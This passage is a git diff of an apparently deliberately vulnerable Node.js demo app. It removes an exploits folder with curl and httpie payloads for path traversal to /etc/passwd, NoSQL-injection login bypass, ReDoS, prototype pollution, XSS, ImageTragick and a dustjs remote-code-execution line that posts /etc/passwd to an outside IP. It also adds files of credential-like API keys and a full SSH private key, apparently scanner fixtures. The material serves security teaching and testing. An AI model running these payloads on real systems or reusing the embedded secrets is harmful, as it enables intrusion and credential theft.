diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS deleted file mode 100644 index 901d76deeab..00000000000 --- a/.github/CODEOWNERS +++ /dev/null @@ -1 +0,0 @@ -* @snyk/devrel diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml deleted file mode 100644 index c6ee0fe9f01..00000000000 --- a/.github/workflows/codeql-analysis.yml +++ /dev/null @@ -1,71 +0,0 @@ -# For most projects, this workflow file will not need changing; you simply need -# to commit it to your repository. -# -# You may wish to alter this file to override the set of languages analyzed, -# or to provide custom queries or build logic. -# -# ******** NOTE ******** -# We have attempted to detect the languages in your repository. Please check -# the `language` matrix defined below to confirm you have the correct set of -# supported CodeQL languages. -# -name: "CodeQL" - -on: - push: - branches: [ master ] - pull_request: - # The branches below must be a subset of the branches above - branches: [ master ] - schedule: - - cron: '32 19 * * 4' - -jobs: - analyze: - name: Analyze - runs-on: ubuntu-latest - permissions: - actions: read - contents: read - security-events: write - - strategy: - fail-fast: false - matrix: - language: [ 'javascript' ] - # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ] - # Learn more: - # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed - - steps: - - name: Checkout repository - uses: actions/checkout@v2 - - # Initializes the CodeQL tools for scanning. - - name: Initialize CodeQL - uses: github/codeql-action/init@v1 - with: - languages: ${{ matrix.language }} - # If you wish to specify custom queries, you can do so here or in a config file. - # By default, queries listed here will override any specified in a config file. - # Prefix the list here with "+" to use these queries and those in the config file. - # queries: ./path/to/local/query, your-org/your-repo/queries@main - - # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). - # If this step fails, then you should remove it and run the build manually (see below) - - name: Autobuild - uses: github/codeql-action/autobuild@v1 - - # ℹī¸ Command-line programs to run using the OS shell. - # 📚 https://git.io/JvXDl - - # ✏ī¸ If the Autobuild fails above, remove it and uncomment the following three lines - # and modify them (or add more) to build your code if your project - # uses a compiled language - - #- run: | - # make bootstrap - # make release - - - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@v1 diff --git a/.github/workflows/snyk-code-manual.yml b/.github/workflows/snyk-code-manual.yml deleted file mode 100644 index 2acf0ea5294..00000000000 --- a/.github/workflows/snyk-code-manual.yml +++ /dev/null @@ -1,16 +0,0 @@ -name: "snyk code manual test" -on: [push, pull_request] - -jobs: - build: - name: sarif testing action - runs-on: ubuntu-latest - permissions: - security-events: write - steps: - - uses: actions/checkout@v2 - - name: Upload SARIF - uses: github/codeql-action/upload-sarif@v1 - with: - sarif_file: sarif.json - # sarif_file: example111.json diff --git a/.github/workflows/snyk-code.yml b/.github/workflows/snyk-code.yml deleted file mode 100644 index e6d8ce799f4..00000000000 --- a/.github/workflows/snyk-code.yml +++ /dev/null @@ -1,17 +0,0 @@ -name: "snyk code test" -on: [push, pull_request] -jobs: - build: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - - uses: snyk/actions/setup@master - - name: Snyk Test - run: snyk code test --org=${{ secrets.SNYK_ORG }} --sarif > snyk-sarif2.json - continue-on-error: true - env: - SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }} - - name: Upload SARIF file - uses: github/codeql-action/upload-sarif@v1 - with: - sarif_file: snyk-sarif2.json diff --git a/.github/workflows/snyk-test-sarif.yml b/.github/workflows/snyk-test-sarif.yml deleted file mode 100644 index 22a657e5813..00000000000 --- a/.github/workflows/snyk-test-sarif.yml +++ /dev/null @@ -1,17 +0,0 @@ -name: "snyk test" -on: [push, pull_request] -jobs: - build: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - - uses: snyk/actions/setup@master - - name: Snyk Test - run: snyk test --sarif-file-output=snyk-sarif1.json - continue-on-error: true - env: - SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }} - - name: Upload SARIF file - uses: github/codeql-action/upload-sarif@v1 - with: - sarif_file: snyk-sarif1.json diff --git a/chain-bench b/chain-bench new file mode 100755 index 00000000000..bd173652635 Binary files /dev/null and b/chain-bench differ diff --git a/exploits/dustjs-exploits.sh b/exploits/dustjs-exploits.sh deleted file mode 100644 index d3987e16539..00000000000 --- a/exploits/dustjs-exploits.sh +++ /dev/null @@ -1,17 +0,0 @@ -if [ -z "$GOOF_HOST" ]; then - export GOOF_HOST=http://localhost:3001 -fi - -# Simple request -alias dust1="curl $GOOF_HOST'/about_new?device=Desktop'" - -# Request with array -alias dust2="curl $GOOF_HOST'/about_new?device\[\]=Desktop'" - -# Trigger error -alias dust3="curl $GOOF_HOST'/about_new?device\[\]=Desktop%27'" - -# Simple RCE, logs to console -alias dust4="curl $GOOF_HOST'/about_new?device\[\]=Desktop%27-console.log(%27FrontendConf%20Was%20Here%27)-%27'" - -alias dust5="curl $GOOF_HOST'/about_new?device\[\]=Desktop%27-require(%27child_process%27).exec(%27curl%20-m%203%20-F%20%22x%3D%60cat%20%2Fetc%2Fpasswd%60%22%20http%3A%2F%2F34.205.135.170%2F%27)-%27'" diff --git a/exploits/exploit-aliases.sh b/exploits/exploit-aliases.sh deleted file mode 100755 index 07d8444ac6a..00000000000 --- a/exploits/exploit-aliases.sh +++ /dev/null @@ -1,7 +0,0 @@ -#!/bin/sh -f - -source mongoose-exploits.sh -source st-exploits.sh -source ms-exploits.sh -source nosql-exploits.sh -source dustjs-exploits.sh diff --git a/exploits/imagetragick_rce1.png b/exploits/imagetragick_rce1.png deleted file mode 100644 index 78f4dca39e5..00000000000 --- a/exploits/imagetragick_rce1.png +++ /dev/null @@ -1,4 +0,0 @@ -push graphic-context -viewbox 0 0 640 480 -fill 'url(https://tinyurl.com/favorites.gif"|touch "./public/tragick)' -pop graphic-context diff --git a/exploits/marked-exploit.sh b/exploits/marked-exploit.sh deleted file mode 100644 index d698420acf1..00000000000 --- a/exploits/marked-exploit.sh +++ /dev/null @@ -1,20 +0,0 @@ -# Benign input -Snyk - -# Markdown link -This is **markdown** - -# Markdown link -[Snyk](https://snyk.io/) - -# Failed XSS -[Gotcha](javascript:alert(1)) - -# Failed XSS despite URL encoding -[Gotcha](javascript:alert(1)) - -# Successfull XSS using vuln and browser interpretation -[Gotcha](javascript:this;alert(1)) - -# Most boasty exploit -[Gotcha](javascript:this;alert('marked exploit successful')) diff --git a/exploits/moment-exploit.sh b/exploits/moment-exploit.sh deleted file mode 100644 index a1d1bc49d2d..00000000000 --- a/exploits/moment-exploit.sh +++ /dev/null @@ -1,2 +0,0 @@ -curl -F "importFile=@/Users/grander/projects/snyk/goof/exploits/moment-todo-good.csv" http://localhost:3001/import -curl -F "importFile=@/Users/grander/projects/snyk/goof/exploits/moment-todo-bad.csv" http://localhost:3001/import \ No newline at end of file diff --git a/exploits/moment-todo-bad.csv b/exploits/moment-todo-bad.csv deleted file mode 100644 index b3be9d6aeca..00000000000 --- a/exploits/moment-todo-bad.csv +++ /dev/null @@ -1 +0,0 @@ -Repair the car,20161101,be,D MMN MMMM \ No newline at end of file diff --git a/exploits/moment-todo-good.csv b/exploits/moment-todo-good.csv deleted file mode 100644 index b8b7c3a73ba..00000000000 --- a/exploits/moment-todo-good.csv +++ /dev/null @@ -1,3 +0,0 @@ -Bake a cake -Walk the dog in 2 hours -Travel to Thailand,2017-01-01,be,YYYY-MM-DD diff --git a/exploits/mongoose-exploits.sh b/exploits/mongoose-exploits.sh deleted file mode 100644 index 09dbb8043a8..00000000000 --- a/exploits/mongoose-exploits.sh +++ /dev/null @@ -1,33 +0,0 @@ -### Note: these exploits use the httpie command line utility - -if [ -z "$GOOF_HOST" ]; then - export GOOF_HOST=http://localhost:3001 -fi - -# start -alias mon1="http $GOOF_HOST/ --headers" - -# Works as advertised -alias mon2="echo 'content=Buy Beer' | http --form $GOOF_HOST/create -v" - -# Works with json -alias mon3="echo '{\"content\":\"Fix the bike\"}' | http --json $GOOF_HOST/create -v" - -# Works with number string -alias mon4="echo '{\"content\":\"800\"}' | http --json $GOOF_HOST/create -v" - -# Exploit start - integer -alias mon5="echo '{\"content\":800}' | http --json $GOOF_HOST/create -v" - -# Switch to only showing the response body -alias mon6="echo '{\"content\":800}' | http --json $GOOF_HOST/create -b | base64 -D" - -# Repeatedly extract memory -# window 1 -alias mon_repeat1="repeat 1000 echo '{\"content\":800}' | http --json $GOOF_HOST/create -b | base64 -D >> leakedmem.bin" - -# window 2 - see strings in the response -alias mon_repeat2="tail -f leakedmem.bin | strings" - -# window 3 - see a memory dum in the response -alias mon_repeat3="tail -f leakedmem.bin | xxd -c 32 -g 32" diff --git a/exploits/ms-exploits.sh b/exploits/ms-exploits.sh deleted file mode 100644 index ea5a08c5c0b..00000000000 --- a/exploits/ms-exploits.sh +++ /dev/null @@ -1,13 +0,0 @@ -# Working via curl - -if [ -z "$GOOF_HOST" ]; then - export GOOF_HOST=http://localhost:3001 -fi - -alias ms1="echo 'content=Call mom in 20 minutes' | http --form $GOOF_HOST/create -v" - -# Works with long string that matches -alias ms2="echo 'content=Buy milk in '\`printf "%.0s5" {1..60000}\`' minutes' | http --form $GOOF_HOST/create -v" - -# Hangs with long string that doesn't match -alias ms3="echo 'content=Buy milk in '\`printf "%.0s5" {1..60000}\`' minutea' | http --form $GOOF_HOST/create -v" diff --git a/exploits/nosql-exploits.sh b/exploits/nosql-exploits.sh deleted file mode 100644 index c77e203a3db..00000000000 --- a/exploits/nosql-exploits.sh +++ /dev/null @@ -1,20 +0,0 @@ - -if [ -z "$GOOF_HOST" ]; then - export GOOF_HOST=http://localhost:3001 -fi - -# Default working case - form fill -alias ns1="echo -n 'username=admin@snyk.io&password=SuperSecretPassword' | http --form $GOOF_HOST/login -v" - -# JSON working login -alias ns2='echo '"'"'{"username":"admin@snyk.io", "password":"SuperSecretPassword"}'"'"' | http --json $GOOF_HOST/login -v' - -# failed login -alias ns3='echo '"'"'{"username":"admin@snyk.io", "password":"WrongPassword"}'"'"' | http --json $GOOF_HOST/login -v' - -# successful login, NOSQL Injection, knowing the username -alias ns4='echo '"'"'{"username": "admin@snyk.io", "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/login -v' - -# successful login, NOSQL Injection, without knowing the username -alias ns5='echo '"'"'{"username": {"$gt": ""}, "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/login -v' - diff --git a/exploits/prototype-pollution-typeorm.md b/exploits/prototype-pollution-typeorm.md deleted file mode 100644 index 98d229b1c35..00000000000 --- a/exploits/prototype-pollution-typeorm.md +++ /dev/null @@ -1,82 +0,0 @@ -# Prototype Pollution in TypeORM - -Prototype Pollution in TypeORM can lead to SQL Injection attacks in both MongoDB and MySQL types of databases, as well as Denial of Service or escalate to other types of attacks for a vulnerable Node.js web application. - -## Requirements - -You'll need a MySQL server running. Try this: - -```sh -# use mysql:5 as that still supports the good old native password mechanism to login -# and keep things simple for the demo -docker run -p3306:3306 --rm --name mysqld -e MYSQL_ROOT_PASSWORD=root mysql:5 -``` - -Create the dummy `acme` database: -```sh -create database acme; -``` - -For the MySQL client (to browse database records and such): -```sh -docker exec -it mysqld mysql -uroot -p -``` - -## Setup - -The root file `./typeorm-db.js` gets called when the app starts and seeds the database with 2 sample users. - -## Exploit scenario - -### Step 1 - Normal request - -You can create new users via POST /users - -```sh -curl --request POST \ - --url http://localhost:3001/users \ - --header 'content-type: application/json' \ - --data '{ - "name": "a", - "address": "vvv", - "role": "user" -}' -``` - -### Step 2 - A request to get your own profile - -A request to get your own profile always results in your own user (right now hard-coded with id:1) - -```sh -curl --request GET \ - --url http://localhost:3001/users \ - --header 'content-type: application/json' -``` - -### Step 3 - Poison the Object's prototype - -We now send a request that creates a user, but poison the prototype chain through an insecure -merge of objects that happens within TypeORM's code, and results in `Object` having a `where` object property. - -```sh -curl --request POST \ - --url http://localhost:3001/users \ - --header 'content-type: application/json' \ - --data '{ - "name": "a", - "address": { - "__proto__": { - "where": { - "id": "2", - "where": null - } - } - } -}' -``` - -### Step 4 - Fetch your profile again - -Now go back to Step 1 and fetch the user profile again. -Now you get profile 2 instead of the hard-code profile id 1. Why does it happen? -Because with TypeORM's `where` clause takes precendence over the `id` specifier and we're now able to enumerate and get every account id we want. \ No newline at end of file diff --git a/exploits/prototype-pollution.sh b/exploits/prototype-pollution.sh deleted file mode 100755 index 4a921bdaa83..00000000000 --- a/exploits/prototype-pollution.sh +++ /dev/null @@ -1,38 +0,0 @@ -# Working via curl - -if [ -z "$GOOF_HOST" ]; then - export GOOF_HOST=http://localhost:3001 -fi - -# Read messages -c1() -{ - curl --request GET --url "$GOOF_HOST/chat" -} - -# Send message -c2() -{ - curl --request PUT \ - --url "$GOOF_HOST/chat" \ - --header 'content-type: application/json' \ - --data '{"auth": {"name": "user", "password": "pwd"}, "message": {"text": "Hi!"}}' -} - -# Gain permissions -c3() -{ - curl --request PUT \ - --url "$GOOF_HOST/chat" \ - --header 'content-type: application/json' \ - --data '{"auth": {"name": "user", "password": "pwd"}, "message": { "text": "😈", "__proto__": {"canDelete": true}}}' -} - -# Delete message -c4() -{ - curl --request DELETE \ - --url "$GOOF_HOST/chat" \ - --header 'content-type: application/json' \ - --data '{"auth": {"name": "user", "password": "pwd"}, "messageId": 1}' -} diff --git a/exploits/shell-injection.md b/exploits/shell-injection.md deleted file mode 100644 index 10e689f6119..00000000000 --- a/exploits/shell-injection.md +++ /dev/null @@ -1,19 +0,0 @@ -### Example -```markdown -![alt text](https://raw.githubusercontent.com/Snyk/goof/feat/oreilly/exploits/snyk.png "Image todo item") -``` - -### Shell Command Injection -```markdown -![alt text](https://raw.githubusercontent.com/Snyk/goof/feat/oreilly/exploits/snyk.png;touch ./public/p0wned "Image todo item") -``` - -### Code Execution - ImageTragick vulnerability -```markdown -![alt text](https://raw.githubusercontent.com/Snyk/goof/master/exploits/imagetragick_rce1.png "Image todo item") -``` - - - - - diff --git a/exploits/snyk.png b/exploits/snyk.png deleted file mode 100644 index a57c2c7d44c..00000000000 Binary files a/exploits/snyk.png and /dev/null differ diff --git a/exploits/snyk.svg b/exploits/snyk.svg deleted file mode 100644 index a85c38208b1..00000000000 --- a/exploits/snyk.svg +++ /dev/null @@ -1,62 +0,0 @@ - - - - Group 2 - Created with Sketch. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/exploits/snyk_s.png b/exploits/snyk_s.png deleted file mode 100644 index a85c38208b1..00000000000 --- a/exploits/snyk_s.png +++ /dev/null @@ -1,62 +0,0 @@ - - - - Group 2 - Created with Sketch. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/exploits/st-exploits.sh b/exploits/st-exploits.sh deleted file mode 100644 index dba780e5c8e..00000000000 --- a/exploits/st-exploits.sh +++ /dev/null @@ -1,19 +0,0 @@ -# Works as advertised - -if [ -z "$GOOF_HOST" ]; then - export GOOF_HOST=http://localhost:3001 -fi - -alias st1="curl $GOOF_HOST/public/about.html" - -# Directory listing (not necessary) -alias st2="curl $GOOF_HOST/public/" - -# Failed ../ -alias st3="curl $GOOF_HOST/public/../../../" - -# Exploit start -alias st4="curl $GOOF_HOST/public/%2e%2e/%2e%2e/%2e%2e/" - -# Exploit full -alias st5="curl $GOOF_HOST/public/%2e%2e/%2e%2e/%2E%2E/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" diff --git a/exploits/zip-slip/backup.txt b/exploits/zip-slip/backup.txt deleted file mode 100644 index 236d5e550a3..00000000000 --- a/exploits/zip-slip/backup.txt +++ /dev/null @@ -1,5 +0,0 @@ -Buy some food -Call mom -Add details to the web page -Check inbox for new mails - diff --git a/exploits/zip-slip/malicious_backup.zip b/exploits/zip-slip/malicious_backup.zip deleted file mode 100644 index 6e787c2fac9..00000000000 Binary files a/exploits/zip-slip/malicious_backup.zip and /dev/null differ diff --git a/exploits/zip-slip/my_backup.zip b/exploits/zip-slip/my_backup.zip deleted file mode 100644 index 4814ccf1abe..00000000000 Binary files a/exploits/zip-slip/my_backup.zip and /dev/null differ diff --git a/fake.aws.file b/fake.aws.file new file mode 100644 index 00000000000..cf953775957 --- /dev/null +++ b/fake.aws.file @@ -0,0 +1,3 @@ +aws_secret_access_key += +1ye+VarkHMg7o6MNjwWIqOYICe03lfA+KPPAmeaY diff --git a/fake.key.pem b/fake.key.pem new file mode 100644 index 00000000000..e69de29bb2d diff --git a/jit_secret_test_tile.py b/jit_secret_test_tile.py new file mode 100644 index 00000000000..98809a955dd --- /dev/null +++ b/jit_secret_test_tile.py @@ -0,0 +1 @@ +MY_AWS_SECRET = "AKIALALEMEL33EEXAMPLE" diff --git a/keys b/keys new file mode 100644 index 00000000000..e9559f22da4 --- /dev/null +++ b/keys @@ -0,0 +1,75 @@ +clockify api key: +ZWJkZGM4NmEtODRlNi00YzYyLWJhZjgtNmE1Nzc4ODY3OWYz + +clockify:ZWJkZGM4NmEtODRlNi00YzYyLWJhZjgtNmE1Nzc4ODY3OWYz + +clockify : ZWJkZGM4NmEtODRlNi00YzYyLWJhZjgtNmE1Nzc4ODY3OWYz + +clockify_api_key:ZWJkZGM4NmEtODRlNi00YzYyLWJhZjgtNmE1Nzc4ODY3OWYz + +CLOCKIFY:ZWJkZGM4NmEtODRlNi00YzYyLWJhZjgtNmE1Nzc4ODY3OWYz + +clockify: +ZWJkZGM4NmEtODRlNi00YzYyLWJhZjgtNmE1Nzc4ODY3OWYz + +abuseipdb:27999265f1c06de4fe573fedf86eeac40139a7eb7cc6c5cb37aeedd1c632e6246fb23a486f261aba +abuseipdb_api_key:27999265f1c06de4fe573fedf86eeac40139a7eb7cc6c5cb37aeedd1c632e6246fb23a486f261aba +abuseipdb api key: 27999265f1c06de4fe573fedf86eeac40139a7eb7cc6c5cb37aeedd1c632e6246fb23a486f261aba +abuseipdbapikey:27999265f1c06de4fe573fedf86eeac40139a7eb7cc6c5cb37aeedd1c632e6246fb23a486f261aba + +bulbul:fdcq6ajxg4q6to8mjprckzis26ptlw7l +bulbul apu key:fdcq6ajxg4q6to8mjprckzis26ptlw7l +bulbul_api_key:fdcq6ajxg4q6to8mjprckzis26ptlw7l +bulbulapikey:fdcq6ajxg4q6to8mjprckzis26ptlw7l + +api_key: peWcBiMOS9HrZG15peWcBiMOS9HrZG15 + +//api_key: peWcBiMOS9HrZG15peWcBiMOS9HrZG15 + +//customregex:21w2wa~ + + +Basic auth: + +https://admin:admin@the-internet.herokuapp.com/basic_auth + +Private key: +-----BEGIN OPENSSH PRIVATE KEY----- +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 +Hx7UPVlTK8dyvk1Z+Yw0nrfNClI= +-----END OPENSSH PRIVATE KEY----- diff --git a/package-lock.json b/package-lock.json index fef2be20353..c2f4ca80525 100644 --- a/package-lock.json +++ b/package-lock.json @@ -22,6 +22,7 @@ "express-fileupload": "0.0.5", "express-session": "^1.17.2", "file-type": "^8.1.0", + "form-data": "1.0.1", "hbs": "^4.0.4", "humanize-ms": "1.0.1", "jquery": "^2.2.4", @@ -546,7 +547,8 @@ "node_modules/asynckit": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=" + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" }, "node_modules/aws-sign2": { "version": "0.7.0", @@ -2172,7 +2174,7 @@ "node_modules/ejs": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/ejs/-/ejs-1.0.0.tgz", - "integrity": "sha1-ycYKSKRu5FL7MqccMXuV5aofyz0=", + "integrity": "sha512-hK3tEqj0pP7UF5UHKNiRvm3zCaYk7UI4EBJ6wwN5O2qX1WdSovmqvUHEbNOJuglXzVkk/H0r7vgst3mVcQXrPA==", "deprecated": "Critical security bugs fixed in 2.5.5" }, "node_modules/ejs-locals": { @@ -2189,7 +2191,7 @@ "node_modules/ejs-locals/node_modules/ejs": { "version": "0.8.8", "resolved": "https://registry.npmjs.org/ejs/-/ejs-0.8.8.tgz", - "integrity": "sha1-/9xW3MNdApJt1QrRNDm7xUBh1Zg=", + "integrity": "sha512-2E5HBH8LoaSQ2OLW2LmEE1/9dL3YZCKqrQXBEeCv9P/dQlZOfdAYvJFHhNZ35uY6AXba+RllQTRtmJmXXm7i7g==", "deprecated": "Critical security bugs fixed in 2.5.5" }, "node_modules/elliptic": { @@ -2824,18 +2826,34 @@ } }, "node_modules/form-data": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", - "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-1.0.1.tgz", + "integrity": "sha512-M4Yhq2mLogpCtpUmfopFlTTuIe6mSCTgKvnlMhDj3NcgVhA1uS20jT0n+xunKPzpmL5w2erSVtp+SKiJf1TlWg==", + "license": "MIT", "dependencies": { - "asynckit": "^0.4.0", - "combined-stream": "^1.0.6", - "mime-types": "^2.1.12" + "async": "^2.0.1", + "combined-stream": "^1.0.5", + "mime-types": "^2.1.11" }, "engines": { - "node": ">= 0.12" + "node": ">= 0.10" } }, + "node_modules/form-data/node_modules/async": { + "version": "2.6.4", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.4.tgz", + "integrity": "sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==", + "license": "MIT", + "dependencies": { + "lodash": "^4.17.14" + } + }, + "node_modules/form-data/node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "license": "MIT" + }, "node_modules/form-data/node_modules/mime-db": { "version": "1.43.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.43.0.tgz", @@ -9780,6 +9798,20 @@ "node": ">= 4" } }, + "node_modules/request/node_modules/form-data": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", + "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 0.12" + } + }, "node_modules/request/node_modules/mime-db": { "version": "1.43.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.43.0.tgz", @@ -13020,7 +13052,7 @@ "asynckit": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=" + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" }, "aws-sign2": { "version": "0.7.0", @@ -14423,7 +14455,7 @@ "ejs": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/ejs/-/ejs-1.0.0.tgz", - "integrity": "sha1-ycYKSKRu5FL7MqccMXuV5aofyz0=" + "integrity": "sha512-hK3tEqj0pP7UF5UHKNiRvm3zCaYk7UI4EBJ6wwN5O2qX1WdSovmqvUHEbNOJuglXzVkk/H0r7vgst3mVcQXrPA==" }, "ejs-locals": { "version": "1.0.2", @@ -14436,7 +14468,7 @@ "ejs": { "version": "0.8.8", "resolved": "https://registry.npmjs.org/ejs/-/ejs-0.8.8.tgz", - "integrity": "sha1-/9xW3MNdApJt1QrRNDm7xUBh1Zg=" + "integrity": "sha512-2E5HBH8LoaSQ2OLW2LmEE1/9dL3YZCKqrQXBEeCv9P/dQlZOfdAYvJFHhNZ35uY6AXba+RllQTRtmJmXXm7i7g==" } } }, @@ -14944,15 +14976,28 @@ "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=" }, "form-data": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", - "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", + "version": "1.0.1", + "resolved": 